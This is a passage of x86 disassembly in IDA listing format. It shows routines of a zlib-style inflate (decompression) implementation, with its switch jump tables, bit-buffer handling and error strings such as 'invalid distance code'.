sub ecx, [eax]
and dword ptr [eax+4], 0
mov [eax], edi
add [eax+8], ecx
loc_50C38C: ; CODE XREF: sub_50BC4B+657j
; sub_50BC4B+6FAj
mov ecx, [ebp+var_C]
push [ebp+arg_8]
mov [ebx+34h], ecx
jmp loc_50C579
; ---------------------------------------------------------------------------
loc_50C39A: ; CODE XREF: sub_50BC4B+30Bj
; sub_50BC4B+596j
mov eax, [ebp+arg_0]
push 0FFFFFFFCh
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, edi
sub eax, [esi]
mov [esi], edi
add [esi+8], eax
mov eax, [ebp+var_C]
mov [ebx+34h], eax
jmp loc_50C522
; ---------------------------------------------------------------------------
loc_50C3C2: ; CODE XREF: sub_50BC4B+2D0j
; sub_50BC4B+2E4j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov dword ptr [ebx], 9
mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols"
mov [ebx+20h], ecx
mov ecx, [ebp+var_4]
mov [ebx+1Ch], ecx
mov ecx, [ebp+var_8]
mov [eax+4], ecx
mov ecx, edi
sub ecx, [eax]
mov [eax], edi
add [eax+8], ecx
jmp loc_50C546
; ---------------------------------------------------------------------------
loc_50C3F2: ; CODE XREF: sub_50BC4B+3D2j
cmp [ebp+var_14], 0FFFFFFFDh
loc_50C3F6: ; CODE XREF: sub_50BC4B+857j
jnz short loc_50C409
push dword ptr [ebx+0Ch]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
pop ecx
mov dword ptr [ebx], 9
pop ecx
loc_50C409: ; CODE XREF: sub_50BC4B:loc_50C3F6j
mov eax, [ebp+arg_0]
push [ebp+var_14]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, edi
sub eax, [esi]
mov [esi], edi
add [esi+8], eax
mov eax, [ebp+var_C]
mov [ebx+34h], eax
jmp loc_50C522
; ---------------------------------------------------------------------------
loc_50C432: ; CODE XREF: sub_50BC4B+345j
; sub_50BC4B+415j ...
mov eax, [ebp+arg_0]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
and dword ptr [esi+4], 0
mov eax, edi
sub eax, [esi]
mov [esi], edi
add [esi+8], eax
mov eax, [ebp+var_C]
mov [ebx+34h], eax
jmp loc_50C368
; ---------------------------------------------------------------------------
loc_50C456: ; CODE XREF: sub_50BC4B+4F9j
; sub_50BC4B+508j
push dword ptr [ebx+0Ch]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
mov eax, [ebp+arg_0]
mov dword ptr [ebx], 9
mov dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
mov [ebx+20h], eax
mov eax, [ebp+var_4]
push 0FFFFFFFDh
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, edi
sub eax, [esi]
push esi
mov [esi], edi
push ebx
add [esi+8], eax
mov eax, [ebp+var_C]
mov [ebx+34h], eax
call sub_50D8DE
add esp, 14h
jmp loc_50C583
; ---------------------------------------------------------------------------
loc_50C49E: ; CODE XREF: sub_50BC4B+579j
cmp [ebp+var_14], 0FFFFFFFDh
jmp loc_50C3F6
; ---------------------------------------------------------------------------
loc_50C4A7: ; CODE XREF: sub_50BC4B+633j
mov dword ptr [ebx], 7
jmp short loc_50C4B8
; ---------------------------------------------------------------------------
loc_50C4AF: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov edi, [ebp+var_10] ; jumptable 0050BC96 case 7
mov esi, [ebp+arg_4]
mov ecx, [ebp+var_C]
loc_50C4B8: ; CODE XREF: sub_50BC4B+862j
push [ebp+arg_8]
mov [ebx+34h], ecx
push esi
push ebx
call sub_50D8DE
mov ecx, [ebx+34h]
add esp, 0Ch
cmp [ebx+30h], ecx
jz short loc_50C4F1
mov edx, [ebp+arg_0]
mov [ebx+20h], edx
mov edx, [ebp+var_4]
mov [ebx+1Ch], edx
mov edx, [ebp+var_8]
mov [esi+4], edx
mov edx, edi
sub edx, [esi]
mov [esi], edi
add [esi+8], edx
mov [ebx+34h], ecx
loc_50C4EE: ; CODE XREF: sub_50BC4B+5E9j
push eax
jmp short loc_50C522
; ---------------------------------------------------------------------------
loc_50C4F1: ; CODE XREF: sub_50BC4B+883j
mov dword ptr [ebx], 8
jmp short loc_50C502
; ---------------------------------------------------------------------------
loc_50C4F9: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov edi, [ebp+var_10] ; jumptable 0050BC96 case 8
mov esi, [ebp+arg_4]
mov ecx, [ebp+var_C]
loc_50C502: ; CODE XREF: sub_50BC4B+8ACj
mov eax, [ebp+arg_0]
push 1
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, edi
sub eax, [esi]
mov [esi], edi
add [esi+8], eax
mov [ebx+34h], ecx
loc_50C522: ; CODE XREF: sub_50BC4B+720j
; sub_50BC4B+772j ...
push esi
jmp short loc_50C57A
; ---------------------------------------------------------------------------
loc_50C525: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov eax, [ebp+arg_0] ; jumptable 0050BC96 case 9
mov ecx, [ebp+var_8]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+arg_4]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
mov edx, ecx
sub edx, [eax]
mov [eax], ecx
add [eax+8], edx
loc_50C546: ; CODE XREF: sub_50BC4B+687j
; sub_50BC4B+7A2j
mov ecx, [ebp+var_C]
push 0FFFFFFFDh
mov [ebx+34h], ecx
jmp short loc_50C579
; ---------------------------------------------------------------------------
loc_50C550: ; CODE XREF: sub_50BC4B+45j
mov eax, [ebp+arg_0] ; default
mov ecx, [ebp+var_8]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+arg_4]
push 0FFFFFFFEh
mov [eax+4], ecx
mov ecx, [ebp+var_10]
mov edx, ecx
sub edx, [eax]
mov [eax], ecx
mov ecx, [ebp+var_C]
add [eax+8], edx
mov [ebx+34h], ecx
loc_50C579: ; CODE XREF: sub_50BC4B+74Aj
; sub_50BC4B+903j
push eax
loc_50C57A: ; CODE XREF: sub_50BC4B+6B0j
; sub_50BC4B+8D8j
push ebx
call sub_50D8DE
add esp, 0Ch
loc_50C583: ; CODE XREF: sub_50BC4B+84Ej
pop edi
pop esi
pop ebx
leave
retn
sub_50BC4B endp
; ---------------------------------------------------------------------------
off_50C588 dd offset loc_50BC9D ; DATA XREF: sub_50BC4B+4Br
dd offset loc_50BD7B ; jump table for switch statement
dd offset loc_50BDEE
dd offset loc_50BED8
dd offset loc_50BF70
dd offset loc_50C02E
dd offset loc_50C1FD
dd offset loc_50C4AF
dd offset loc_50C4F9
dd offset loc_50C525
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50C5B0 proc near ; CODE XREF: sub_50CF00+21p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, [ebp+arg_0]
push 0
push esi
push edi
call sub_50BB53
push dword ptr [edi+28h]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
push dword ptr [edi+24h]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
push edi
push dword ptr [esi+28h]
call dword ptr [esi+24h]
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebp
retn
sub_50C5B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50C5E6 proc near ; CODE XREF: sub_50BC4B+E8p
; sub_50BC4B+58Cp
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_10]
push 1Ch
push 1
push dword ptr [eax+28h]
call dword ptr [eax+20h]
add esp, 0Ch
test eax, eax
jz short loc_50C618
mov cl, [ebp+arg_0]
and dword ptr [eax], 0
mov [eax+10h], cl
mov cl, [ebp+arg_4]
mov [eax+11h], cl
mov ecx, [ebp+arg_8]
mov [eax+14h], ecx
mov ecx, [ebp+arg_C]
mov [eax+18h], ecx
loc_50C618: ; CODE XREF: sub_50C5E6+15j
pop ebp
retn
sub_50C5E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50C61A proc near ; CODE XREF: sub_50BC4B+5DEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, [ebp+arg_0]
mov eax, [esi]
mov [ebp+var_4], eax
mov eax, [esi+4]
mov edx, [edi+34h]
mov [ebp+var_8], eax
mov eax, [edi+20h]
mov ebx, [edi+4]
mov [ebp+arg_4], eax
mov eax, [edi+1Ch]
mov [ebp+arg_0], eax
mov eax, [edi+30h]
cmp edx, eax
jnb short loc_50C652
sub eax, edx
dec eax
jmp short loc_50C657
; ---------------------------------------------------------------------------
loc_50C652: ; CODE XREF: sub_50C61A+31j
mov eax, [edi+2Ch]
sub eax, edx
loc_50C657: ; CODE XREF: sub_50C61A+36j
mov [ebp+var_C], eax
loc_50C65A: ; CODE XREF: sub_50C61A+E9j
; sub_50C61A+16Ej ...
mov ecx, [ebx]
cmp ecx, 9 ; switch 10 cases
ja loc_50CB7E ; default
jmp ds:off_50CBB0[ecx*4] ; switch jump
loc_50C66C: ; DATA XREF: _5:off_50CBB0o
cmp eax, 102h ; jumptable 0050C665 case 0
jb loc_50C708
cmp [ebp+var_8], 0Ah
jb loc_50C708
mov eax, [ebp+arg_4]
push esi
mov [edi+20h], eax
mov eax, [ebp+arg_0]
mov [edi+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, [ebp+var_4]
mov ecx, eax
push edi
sub ecx, [esi]
mov [esi], eax
add [esi+8], ecx
mov [edi+34h], edx
push dword ptr [ebx+18h]
movzx eax, byte ptr [ebx+11h]
push dword ptr [ebx+14h]
push eax
movzx eax, byte ptr [ebx+10h]
push eax
call sub_50CBEB
mov [ebp+arg_8], eax
mov eax, [esi]
mov [ebp+var_4], eax
mov eax, [esi+4]
mov edx, [edi+34h]
mov [ebp+var_8], eax
mov eax, [edi+20h]
add esp, 18h
mov [ebp+arg_4], eax
mov eax, [edi+1Ch]
mov [ebp+arg_0], eax
mov eax, [edi+30h]
cmp edx, eax
jnb short loc_50C6E5
sub eax, edx
dec eax
jmp short loc_50C6EA
; ---------------------------------------------------------------------------
loc_50C6E5: ; CODE XREF: sub_50C61A+C4j
mov eax, [edi+2Ch]
sub eax, edx
loc_50C6EA: ; CODE XREF: sub_50C61A+C9j
cmp [ebp+arg_8], 0
mov [ebp+var_C], eax
jz short loc_50C708
mov ecx, [ebp+arg_8]
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 2
add ecx, 7
mov [ebx], ecx
jmp loc_50C65A
; ---------------------------------------------------------------------------
loc_50C708: ; CODE XREF: sub_50C61A+57j
; sub_50C61A+61j ...
movzx eax, byte ptr [ebx+10h]
mov [ebx+0Ch], eax
mov eax, [ebx+14h]
mov [ebx+8], eax
mov dword ptr [ebx], 1
loc_50C71B: ; CODE XREF: sub_50C61A+4Bj
; sub_50C61A+12Fj
; DATA XREF: ...
mov eax, [ebx+0Ch] ; jumptable 0050C665 case 1
cmp [ebp+arg_0], eax
jnb short loc_50C74B
cmp [ebp+var_8], 0
jz loc_50CA88
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
and [ebp+arg_8], 0
dec [ebp+var_8]
movzx eax, byte ptr [eax]
shl eax, cl
or [ebp+arg_4], eax
inc [ebp+var_4]
add [ebp+arg_0], 8
jmp short loc_50C71B ; jumptable 0050C665 case 1
; ---------------------------------------------------------------------------
loc_50C74B: ; CODE XREF: sub_50C61A+107j
mov eax, ds:dword_510318[eax*4]
mov ecx, [ebx+8]
and eax, [ebp+arg_4]
lea eax, [ecx+eax*8]
mov [ebp+var_14], eax
movzx ecx, byte ptr [eax+1]
movzx eax, byte ptr [eax+1]
sub [ebp+arg_0], eax
mov eax, [ebp+var_14]
shr [ebp+arg_4], cl
movzx ecx, byte ptr [eax]
test ecx, ecx
mov [ebp+var_18], ecx
jnz short loc_50C78D
mov eax, [eax+4]
mov dword ptr [ebx], 6
mov [ebx+8], eax
loc_50C785: ; CODE XREF: sub_50C61A+18Dj
; sub_50C61A+1A7j ...
mov eax, [ebp+var_C]
jmp loc_50C65A
; ---------------------------------------------------------------------------
loc_50C78D: ; CODE XREF: sub_50C61A+15Dj
mov ecx, [ebp+var_18]
test cl, 10h
jz short loc_50C7A9
and ecx, 0Fh
mov [ebx+8], ecx
mov eax, [eax+4]
mov [ebx+4], eax
mov dword ptr [ebx], 2
jmp short loc_50C785
; ---------------------------------------------------------------------------
loc_50C7A9: ; CODE XREF: sub_50C61A+179j
test cl, 40h
jz loc_50C89A
test cl, 20h
jz loc_50CA9A
mov dword ptr [ebx], 7
jmp short loc_50C785
; ---------------------------------------------------------------------------
loc_50C7C3: ; CODE XREF: sub_50C61A+4Bj
; sub_50C61A+1D7j
; DATA XREF: ...
mov eax, [ebx+8] ; jumptable 0050C665 case 2
cmp [ebp+arg_0], eax
jnb short loc_50C7F3
cmp [ebp+var_8], 0
jz loc_50CA88
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
and [ebp+arg_8], 0
dec [ebp+var_8]
movzx eax, byte ptr [eax]
shl eax, cl
or [ebp+arg_4], eax
inc [ebp+var_4]
add [ebp+arg_0], 8
jmp short loc_50C7C3 ; jumptable 0050C665 case 2
; ---------------------------------------------------------------------------
loc_50C7F3: ; CODE XREF: sub_50C61A+1AFj
mov eax, ds:dword_510318[eax*4]
mov ecx, [ebx+8]
and eax, [ebp+arg_4]
mov dword ptr [ebx], 3
shr [ebp+arg_4], cl
add [ebx+4], eax
mov eax, ecx
sub [ebp+arg_0], eax
movzx eax, byte ptr [ebx+11h]
mov [ebx+0Ch], eax
mov eax, [ebx+18h]
mov [ebx+8], eax
loc_50C81E: ; CODE XREF: sub_50C61A+4Bj
; sub_50C61A+232j
; DATA XREF: ...
mov eax, [ebx+0Ch] ; jumptable 0050C665 case 3
cmp [ebp+arg_0], eax
jnb short loc_50C84E
cmp [ebp+var_8], 0
jz loc_50CA88
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
and [ebp+arg_8], 0
dec [ebp+var_8]
movzx eax, byte ptr [eax]
shl eax, cl
or [ebp+arg_4], eax
inc [ebp+var_4]
add [ebp+arg_0], 8
jmp short loc_50C81E ; jumptable 0050C665 case 3
; ---------------------------------------------------------------------------
loc_50C84E: ; CODE XREF: sub_50C61A+20Aj
mov eax, ds:dword_510318[eax*4]
mov ecx, [ebx+8]
and eax, [ebp+arg_4]
lea eax, [ecx+eax*8]
mov [ebp+var_14], eax
movzx ecx, byte ptr [eax+1]
movzx eax, byte ptr [eax+1]
sub [ebp+arg_0], eax
mov eax, [ebp+var_14]
shr [ebp+arg_4], cl
movzx ecx, byte ptr [eax]
test cl, 10h
jz short loc_50C891
and ecx, 0Fh
mov [ebx+8], ecx
mov eax, [eax+4]
mov [ebx+0Ch], eax
mov dword ptr [ebx], 4
jmp loc_50C785
; ---------------------------------------------------------------------------
loc_50C891: ; CODE XREF: sub_50C61A+25Ej
test cl, 40h
jnz loc_50CACF
loc_50C89A: ; CODE XREF: sub_50C61A+192j
mov [ebx+0Ch], ecx
mov ecx, [eax+4]
lea eax, [eax+ecx*8]
mov [ebx+8], eax
jmp loc_50C785
; ---------------------------------------------------------------------------
loc_50C8AB: ; CODE XREF: sub_50C61A+4Bj
; sub_50C61A+2BFj
; DATA XREF: ...
mov eax, [ebx+8] ; jumptable 0050C665 case 4
cmp [ebp+arg_0], eax
jnb short loc_50C8DB
cmp [ebp+var_8], 0
jz loc_50CA88
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
and [ebp+arg_8], 0
dec [ebp+var_8]
movzx eax, byte ptr [eax]
shl eax, cl
or [ebp+arg_4], eax
inc [ebp+var_4]
add [ebp+arg_0], 8
jmp short loc_50C8AB ; jumptable 0050C665 case 4
; ---------------------------------------------------------------------------
loc_50C8DB: ; CODE XREF: sub_50C61A+297j
mov eax, ds:dword_510318[eax*4]
mov ecx, [ebx+8]
and eax, [ebp+arg_4]
mov dword ptr [ebx], 5
shr [ebp+arg_4], cl
add [ebx+0Ch], eax
mov eax, ecx
sub [ebp+arg_0], eax
loc_50C8F9: ; CODE XREF: sub_50C61A+4Bj
; DATA XREF: _5:off_50CBB0o
mov ecx, [edi+28h] ; jumptable 0050C665 case 5
mov eax, edx
sub eax, [ebx+0Ch]
cmp eax, ecx
mov [ebp+var_10], eax
jnb short loc_50C91E
mov eax, [edi+2Ch]
sub eax, ecx
mov [ebp+var_18], eax
loc_50C910: ; CODE XREF: sub_50C61A+302j
mov eax, [ebp+var_10]
add eax, [ebp+var_18]
cmp eax, [edi+28h]
mov [ebp+var_10], eax
jb short loc_50C910
loc_50C91E: ; CODE XREF: sub_50C61A+2ECj
cmp dword ptr [ebx+4], 0
mov eax, [ebp+var_C]
jz loc_50C9E3
loc_50C92B: ; CODE XREF: sub_50C61A+3C3j
test eax, eax
jnz loc_50C9B9
mov eax, [edi+2Ch]
cmp edx, eax
mov [ebp+var_14], eax
jnz short loc_50C95B
mov eax, [edi+30h]
mov ecx, [edi+28h]
cmp eax, ecx
jz short loc_50C95B
mov edx, ecx
cmp edx, eax
jnb short loc_50C952
sub eax, edx
dec eax
jmp short loc_50C957
; ---------------------------------------------------------------------------
loc_50C952: ; CODE XREF: sub_50C61A+331j
mov eax, [ebp+var_14]
sub eax, edx
loc_50C957: ; CODE XREF: sub_50C61A+336j
test eax, eax
jnz short loc_50C9B9
loc_50C95B: ; CODE XREF: sub_50C61A+321j
; sub_50C61A+32Bj
push [ebp+arg_8]
mov [edi+34h], edx
push esi
push edi
call sub_50D8DE
mov edx, [edi+34h]
mov [ebp+arg_8], eax
mov eax, [edi+30h]
add esp, 0Ch
cmp edx, eax
mov [ebp+var_18], eax
jnb short loc_50C980
sub eax, edx
dec eax
jmp short loc_50C985
; ---------------------------------------------------------------------------
loc_50C980: ; CODE XREF: sub_50C61A+35Fj
mov eax, [edi+2Ch]
sub eax, edx
loc_50C985: ; CODE XREF: sub_50C61A+364j
mov ecx, [edi+2Ch]
mov [ebp+var_C], eax
cmp edx, ecx
mov [ebp+var_14], ecx
jnz short loc_50C9B1
mov ecx, [edi+28h]
mov eax, [ebp+var_18]
cmp eax, ecx
jz short loc_50C9AE
mov edx, ecx
cmp edx, eax
jnb short loc_50C9A7
sub eax, edx
dec eax
jmp short loc_50C9B1
; ---------------------------------------------------------------------------
loc_50C9A7: ; CODE XREF: sub_50C61A+386j
mov eax, [ebp+var_14]
sub eax, edx
jmp short loc_50C9B1
; ---------------------------------------------------------------------------
loc_50C9AE: ; CODE XREF: sub_50C61A+380j
mov eax, [ebp+var_C]
loc_50C9B1: ; CODE XREF: sub_50C61A+376j
; sub_50C61A+38Bj ...
test eax, eax
jz loc_50CADE
loc_50C9B9: ; CODE XREF: sub_50C61A+313j
; sub_50C61A+33Fj
mov ecx, [ebp+var_10]
and [ebp+arg_8], 0
mov cl, [ecx]
mov [edx], cl
inc edx
inc [ebp+var_10]
dec eax
mov ecx, [ebp+var_10]
mov [ebp+var_C], eax
cmp ecx, [edi+2Ch]
jnz short loc_50C9DA
mov ecx, [edi+28h]
mov [ebp+var_10], ecx
loc_50C9DA: ; CODE XREF: sub_50C61A+3B8j
dec dword ptr [ebx+4]
jnz loc_50C92B
loc_50C9E3: ; CODE XREF: sub_50C61A+30Bj
; sub_50C61A+469j
and dword ptr [ebx], 0
jmp loc_50C65A
; ---------------------------------------------------------------------------
loc_50C9EB: ; CODE XREF: sub_50C61A+4Bj
; DATA XREF: _5:off_50CBB0o
test eax, eax ; jumptable 0050C665 case 6
jnz loc_50CA75
mov eax, [edi+2Ch]
cmp edx, eax
mov [ebp+var_14], eax
jnz short loc_50CA1B
mov eax, [edi+30h]
mov ecx, [edi+28h]
cmp eax, ecx
jz short loc_50CA1B
mov edx, ecx
cmp edx, eax
jnb short loc_50CA12
sub eax, edx
dec eax
jmp short loc_50CA17
; ---------------------------------------------------------------------------
loc_50CA12: ; CODE XREF: sub_50C61A+3F1j
mov eax, [ebp+var_14]
sub eax, edx
loc_50CA17: ; CODE XREF: sub_50C61A+3F6j
test eax, eax
jnz short loc_50CA75
loc_50CA1B: ; CODE XREF: sub_50C61A+3E1j
; sub_50C61A+3EBj
push [ebp+arg_8]
mov [edi+34h], edx
push esi
push edi
call sub_50D8DE
mov edx, [edi+34h]
mov [ebp+arg_8], eax
mov eax, [edi+30h]
add esp, 0Ch
cmp edx, eax
mov [ebp+var_18], eax
jnb short loc_50CA40
sub eax, edx
dec eax
jmp short loc_50CA45
; ---------------------------------------------------------------------------
loc_50CA40: ; CODE XREF: sub_50C61A+41Fj
mov eax, [edi+2Ch]
sub eax, edx
loc_50CA45: ; CODE XREF: sub_50C61A+424j
mov ecx, [edi+2Ch]
mov [ebp+var_C], eax
cmp edx, ecx
mov [ebp+var_14], ecx
jnz short loc_50CA71
mov ecx, [edi+28h]
mov eax, [ebp+var_18]
cmp eax, ecx
jz short loc_50CA6E
mov edx, ecx
cmp edx, eax
jnb short loc_50CA67
sub eax, edx
dec eax
jmp short loc_50CA71
; ---------------------------------------------------------------------------
loc_50CA67: ; CODE XREF: sub_50C61A+446j
mov eax, [ebp+var_14]
sub eax, edx
jmp short loc_50CA71
; ---------------------------------------------------------------------------
loc_50CA6E: ; CODE XREF: sub_50C61A+440j
mov eax, [ebp+var_C]
loc_50CA71: ; CODE XREF: sub_50C61A+436j
; sub_50C61A+44Bj ...
test eax, eax
jz short loc_50CADE
loc_50CA75: ; CODE XREF: sub_50C61A+3D3j
; sub_50C61A+3FFj
mov cl, [ebx+8]
and [ebp+arg_8], 0
mov [edx], cl
inc edx
dec eax
mov [ebp+var_C], eax
jmp loc_50C9E3
; ---------------------------------------------------------------------------
loc_50CA88: ; CODE XREF: sub_50C61A+10Dj
; sub_50C61A+1B5j ...
mov eax, [ebp+arg_4]
mov [edi+20h], eax
mov eax, [ebp+arg_0]
mov [edi+1Ch], eax
and dword ptr [esi+4], 0
jmp short loc_50CAF0
; ---------------------------------------------------------------------------
loc_50CA9A: ; CODE XREF: sub_50C61A+19Bj
mov dword ptr [ebx], 9
mov dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code"
loc_50CAA7: ; CODE XREF: sub_50C61A+4Bj
; sub_50C61A+4C2j
; DATA XREF: ...
mov eax, [ebp+arg_4] ; jumptable 0050C665 case 9
push 0FFFFFFFDh
mov [edi+20h], eax
mov eax, [ebp+arg_0]
mov [edi+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, [ebp+var_4]
mov ecx, eax
sub ecx, [esi]
mov [esi], eax
add [esi+8], ecx
mov [edi+34h], edx
jmp loc_50CBA1
; ---------------------------------------------------------------------------
loc_50CACF: ; CODE XREF: sub_50C61A+27Aj
mov dword ptr [ebx], 9
mov dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance code"
jmp short loc_50CAA7 ; jumptable 0050C665 case 9
; ---------------------------------------------------------------------------
loc_50CADE: ; CODE XREF: sub_50C61A+399j
; sub_50C61A+459j
mov eax, [ebp+arg_4]
mov [edi+20h], eax
mov eax, [ebp+arg_0]
mov [edi+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
loc_50CAF0: ; CODE XREF: sub_50C61A+47Ej
mov eax, [ebp+var_4]
push [ebp+arg_8]
mov ecx, eax
sub ecx, [esi]
mov [esi], eax
add [esi+8], ecx
mov [edi+34h], edx
jmp loc_50CBA1
; ---------------------------------------------------------------------------
loc_50CB07: ; CODE XREF: sub_50C61A+4Bj
; DATA XREF: _5:off_50CBB0o
cmp [ebp+arg_0], 7 ; jumptable 0050C665 case 7
jbe short loc_50CB17
sub [ebp+arg_0], 8
inc [ebp+var_8]
dec [ebp+var_4]
loc_50CB17: ; CODE XREF: sub_50C61A+4F1j
push [ebp+arg_8]
mov [edi+34h], edx
push esi
push edi
call sub_50D8DE
mov edx, [edi+34h]
add esp, 0Ch
cmp [edi+30h], edx
jz short loc_50CB53
mov ecx, [ebp+arg_4]
push eax
mov [edi+20h], ecx
mov ecx, [ebp+arg_0]
mov [edi+1Ch], ecx
mov ecx, [ebp+var_8]
mov [esi+4], ecx
mov ecx, [ebp+var_4]
mov ebx, ecx
sub ebx, [esi]
mov [esi], ecx
add [esi+8], ebx
mov [edi+34h], edx
jmp short loc_50CBA1
; ---------------------------------------------------------------------------
loc_50CB53: ; CODE XREF: sub_50C61A+513j
mov dword ptr [ebx], 8
loc_50CB59: ; CODE XREF: sub_50C61A+4Bj
; DATA XREF: _5:off_50CBB0o
mov eax, [ebp+arg_4] ; jumptable 0050C665 case 8
push 1
mov [edi+20h], eax
mov eax, [ebp+arg_0]
mov [edi+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, [ebp+var_4]
mov ecx, eax
sub ecx, [esi]
mov [esi], eax
add [esi+8], ecx
mov [edi+34h], edx
jmp short loc_50CBA1
; ---------------------------------------------------------------------------
loc_50CB7E: ; CODE XREF: sub_50C61A+45j
mov eax, [ebp+arg_4] ; default
push 0FFFFFFFEh
mov [edi+20h], eax
mov eax, [ebp+arg_0]
mov [edi+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, [ebp+var_4]
mov ecx, eax
sub ecx, [esi]
mov [esi], eax
add [esi+8], ecx
mov [edi+34h], edx
loc_50CBA1: ; CODE XREF: sub_50C61A+4B0j
; sub_50C61A+4E8j ...
push esi
push edi
call sub_50D8DE
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_50C61A endp
; ---------------------------------------------------------------------------
off_50CBB0 dd offset loc_50C66C ; DATA XREF: sub_50C61A+4Br
dd offset loc_50C71B ; jump table for switch statement
dd offset loc_50C7C3
dd offset loc_50C81E
dd offset loc_50C8AB
dd offset loc_50C8F9
dd offset loc_50C9EB
dd offset loc_50CB07
dd offset loc_50CB59
dd offset loc_50CAA7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50CBD8 proc near ; CODE XREF: sub_50BB53+3Ap
; sub_50BC4B+5F7p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push [ebp+arg_0]
mov eax, [ebp+arg_4]
push dword ptr [eax+28h]
call dword ptr [eax+24h]
pop ecx
pop ecx
pop ebp
retn
sub_50CBD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50CBEB proc near ; CODE XREF: sub_50C61A+9Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, [ebp+arg_14]
mov ecx, [esi+34h]
mov edx, [esi+1Ch]
mov eax, [edi]
mov [ebp+var_C], ecx
mov [ebp+var_8], eax
mov eax, [edi+4]
mov [ebp+var_4], eax
mov eax, [esi+20h]
mov [ebp+arg_14], eax
mov eax, [esi+30h]
cmp ecx, eax
jnb short loc_50CC20
sub eax, ecx
dec eax
jmp short loc_50CC25
; ---------------------------------------------------------------------------
loc_50CC20: ; CODE XREF: sub_50CBEB+2Ej
mov eax, [esi+2Ch]
sub eax, ecx
loc_50CC25: ; CODE XREF: sub_50CBEB+33j
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
mov eax, ds:dword_510318[eax*4]
mov [ebp+var_14], eax
mov eax, [ebp+arg_4]
mov eax, ds:dword_510318[eax*4]
mov [ebp+arg_4], eax
loc_50CC42: ; CODE XREF: sub_50CBEB+72j
; sub_50CBEB+231j
cmp edx, 14h
jnb short loc_50CC5F
mov eax, [ebp+var_8]
dec [ebp+var_4]
mov ecx, edx
movzx eax, byte ptr [eax]
shl eax, cl
or [ebp+arg_14], eax
inc [ebp+var_8]
add edx, 8
jmp short loc_50CC42
; ---------------------------------------------------------------------------
loc_50CC5F: ; CODE XREF: sub_50CBEB+5Aj
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_8]
and eax, [ebp+arg_14]
lea eax, [ecx+eax*8]
movzx ecx, byte ptr [eax]
mov [ebp+arg_0], ecx
test ecx, ecx
loc_50CC73: ; CODE XREF: sub_50CBEB+C4j
movzx ecx, byte ptr [eax+1]
jz loc_50CDF6
shr [ebp+arg_14], cl
movzx ecx, byte ptr [eax+1]
sub edx, ecx
mov ecx, [ebp+arg_0]
test cl, 10h
jnz short loc_50CCB1
test cl, 40h
jnz loc_50CE56
mov ecx, ds:dword_510318[ecx*4]
and ecx, [ebp+arg_14]
add ecx, [eax+4]
lea eax, [eax+ecx*8]
movzx ecx, byte ptr [eax]
